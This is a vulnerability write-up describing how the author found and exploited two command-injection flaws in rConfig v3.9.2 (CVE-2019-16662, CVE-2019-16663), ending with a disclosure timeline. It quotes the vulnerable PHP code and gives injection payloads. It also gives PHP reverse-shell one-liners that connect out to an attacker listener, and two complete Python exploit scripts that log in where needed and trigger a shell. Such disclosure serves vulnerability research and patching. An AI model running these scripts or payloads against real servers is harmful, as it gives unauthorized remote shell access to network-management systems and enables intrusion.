How I Discovered a Remote Code Execution in rConfig v3.9.2 (CVE-2019-16663) & (CVE-2019-16662)
Summary Of rConfig
rConfig is an open-source network device configuration management utility for network engineers to take frequent configuration snapshots of their network devices.
About The Exploit
I was able two detect two remote command execution vulnerabilities in two different files, the first one called “ajaxServerSettingsChk.php” file which suffers from an unauthenticated RCE that could triggered by sending a crafted GET request via “rootUname” parameter which is declared on line #2 and then passed to exec function in line #13 which you can inject it with a malicious OS command to be executed on the server, this vulnerability was straightforward to exploit and to discover and later on I will show you how to discover it and how to exploit it.
The second vulnerability has been discovered in a file called “search.crud.php” which suffers from an authenticated RCE that could be triggered by sending a crafted GET request that contains two parameters, the first one called “searchTerm” and this parameter can contain any value you want, but it should exist so we can reach the exec function in line #63.
I decided to hunt for an RCE as usual, So I started to list all unsafe functions using a very simple python script I wrote which been used in previous case studies.
Analyzing The Unauthenticated RCE
After running the script, a couple of results showed up to me, I start to check the files and noticed that there is a file called “ajaxServerSettingsChk.php” located in install/lib/ajaxHandlers/ajaxServerSettingsChk.php which contains:
ajaxServerSettingsChk.php
s<?php $rootUname = $_GET['rootUname']; $array = array(); /* check PHP Safe_Mode is off */ if (ini_get('safe_mode')) { $array['phpSafeMode'] = '&amp;lt;strong&amp;gt;&amp;lt;font class=&amp;quot;bad&amp;quot;&amp;gt;Fail - php safe mode is on - turn it off before you proceed with the installation&amp;lt;/strong&amp;gt;&amp;lt;/font&amp;gt;br/&amp;gt;'; } else { $array['phpSafeMode'] = '&amp;lt;strong&amp;gt;&amp;lt;font class=&amp;quot;Good&amp;quot;&amp;gt;Pass - php safe mode is off&amp;lt;/strong&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;br/&amp;gt;'; } /* Test root account details */ $rootTestCmd1 = 'sudo -S -u ' . $rootUname . ' chmod 0777 /home 2&amp;gt;&amp;amp;1'; exec($rootTestCmd1, $cmdOutput, $err); $homeDirPerms = substr(sprintf('%o', fileperms('/home')), -4); if ($homeDirPerms == '0777') { $array['rootDetails'] = '&amp;lt;strong&amp;gt;&amp;lt;font class=&amp;quot;Good&amp;quot;&amp;gt;Pass - root account details are good &amp;lt;/strong&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;br/&amp;gt;'; } else { $array['rootDetails'] = '&amp;lt;strong&amp;gt;&amp;lt;font class=&amp;quot;bad&amp;quot;&amp;gt;The root details provided have not passed: ' . $cmdOutput[0] . '&amp;lt;/strong&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;br/&amp;gt;'; } // reset /home dir permissions $rootTestCmd2 = 'sudo -S -u ' . $rootUname . ' chmod 0755 /home 2&amp;gt;&amp;amp;1'; exec($rootTestCmd2, $cmdOutput, $err); echo json_encode($array);
So we just need to inject our command and escape the string on line #13 to get our command executed, and to do that we can use the following payload:
; your
command
#
To test it I will modify the code and echo the result of the exec function in line #13 then encode the payload and send it to get the following:
And as we can see the result of sending encoded “; id #” command in rootUname is to get the command executed successfully two times.
So, to get a shell we can use the following payload:
;php -r '$sock=fsockopen(
"ip"
,port);
exec
(
"/bin/sh -i <&3 >&3 2>&3"
);
I used this payload to prevent using nc binary which is not installed by default in CentOS 7.7 mini.
And after encoding and sending the payload using Burp, we will get the following:
We popped a shell!
And to automate the process, I wrote a simple python code to exploit this vulnerability:
#!/usr/bin/python # Exploit Title: rConfig v3.9.2 unauthenticated Remote Code Execution # Date: 18/09/2019 # Exploit Author: Askar (@mohammadaskar2) # CVE : CVE-2019-16662 # Vendor Homepage: https://rconfig.com/ # Software link: https://rconfig.com/download # Version: v3.9.2 # Tested on: CentOS 7.7 / PHP 7.2.22 import requests import sys from urllib import quote from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) if len(sys.argv) != 4: print "[+] Usage : ./exploit.py target ip port" exit() target = sys.argv[1] ip = sys.argv[2] port = sys.argv[3] payload = quote(''';php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port)) install_path = target + "/install" req = requests.get(install_path, verify=False) if req.status_code == 404: print "[-] Installation directory not found!" print "[-] Exploitation failed !" exit() elif req.status_code == 200: print "[+] Installation directory found!" url_to_send = target + "/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=" + payload print "[+] Triggering the payload" print "[+] Check your listener !" requests.get(url_to_send, verify=False) And after running the exploit, we will get the following:
We popped a shell again!
Analyzing The Authenticated RCE
So, one of the other results that showed up on the RCE scanner, I got another interesting piece of code in a file called “lib/crud/search.crud.php” contains the following:
search.crud.php
if (isset($_GET['searchTerm']) && is_string($_GET['searchTerm']) && !empty($_GET['searchTerm'])) { /* validation */ $searchTerm = '"' . $_GET['searchTerm'] . '"'; $catId = $_GET['catId']; $catCommand = $_GET['catCommand']; $nodeId = $_GET['nodeId']; $grepNumLineStr = $_GET['numLinesStr']; $grepNumLine = $_GET['noLines']; $username = $_SESSION['username']; // if nodeId was empty set it to blank if (empty($nodeId)) { $nodeId = ''; } else { $nodeId = '/' . $nodeId . '/'; } $returnArr = array(); // Get the category Name from the Category selected $db2->query("SELECT categoryName from `categories` WHERE id = :catId"); $db2->bind(':catId', $catId); $resultCat = $db2->resultset(); $returnArr['category'] = $resultCat[0]['categoryName']; // get total file count $fileCount = array(); $subDir = ""; if (!empty($returnArr['category'])) { $subDir = "/" . $returnArr['category']; } exec("find /home/rconfig/data" . $subDir . $nodeId . " -maxdepth 10 -type f | wc -l", $fileCountArr); $returnArr['fileCount'] = $fileCountArr['0']; //next find all instances of the search term under the specific cat/dir $command = 'find /home/rconfig/data' . $subDir . $nodeId . ' -name ' . $catCommand . ' | xargs grep -il ' . $grepNumLineStr . ' ' . $searchTerm . ' | while read file ; do echo File:"$file"; grep ' . $grepNumLineStr . ' ' . $searchTerm . ' "$file" ; done'; // echo $command;die(); exec($command, $searchArr);
So I will use a payload to test my theory about this vulnerability by using a sleep payload which will try to sleep for 5 seconds and then watch the response time and compare it with the normal one, and by looking at line #61 we can escape the string and execute our command using multiple payloads, and for the testing I will use this one:
""
&&$(`
sleep
5`)
#
And after sending it with Burp, we will get the following:
Success! our sleep worked and we can confirm that the command is executed.
There are TONS of ways to test the payload instead of a sleep payload that you can use.
And to get a shell I used a PHP oneliner and constructed it to be usable with the concatenated string to be like the following:
""
&&php -r
'$sock=fsockopen("192.168.178.1",1337);exec("/bin/sh -i <&3 >&3 2>&3");'
#
And to automate the process, I wrote a simple python code to exploit this vulnerability:
#!/usr/bin/python # Exploit Title: rConfig v3.9.2 Authenticated Remote Code Execution # Date: 18/09/2019 # Exploit Author: Askar (@mohammadaskar2) # CVE : CVE-2019-16663 # Vendor Homepage: https://rconfig.com/ # Software link: https://rconfig.com/download # Version: v3.9.2 # Tested on: CentOS 7.7 / PHP 7.2.22 import requests import sys from urllib import quote from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) if len(sys.argv) != 6: print "[+] Usage : ./exploit.py target username password ip port" exit() target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] ip = sys.argv[4] port = sys.argv[5] request = requests.session() login_info = { "user": username, "pass": password, "sublogin": 1 } login_request = request.post( target+"/lib/crud/userprocess.php", login_info, verify=False, allow_redirects=True ) dashboard_request = request.get(target+"/dashboard.php", allow_redirects=False) if dashboard_request.status_code == 200: print "[+] LoggedIn successfully" payload = '''""&&php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port) encoded_request = target+"/lib/crud/search.crud.php?searchTerm=anything&catCommand={0}".format(quote(payload)) print "[+] triggering the payload" print "[+] Check your listener !" exploit_req = request.get(encoded_request) elif dashboard_request.status_code == 302: print "[-] Wrong credentials !" exit()
We popped a shell!
Vulnerability Disclosure
I reported the two vulnerabilities on 19/09/2019 to rConfig main developer, but without getting any fix release date or even a statement that they will fix the vulnerability.
So after 35 days with no response, I released the exploit.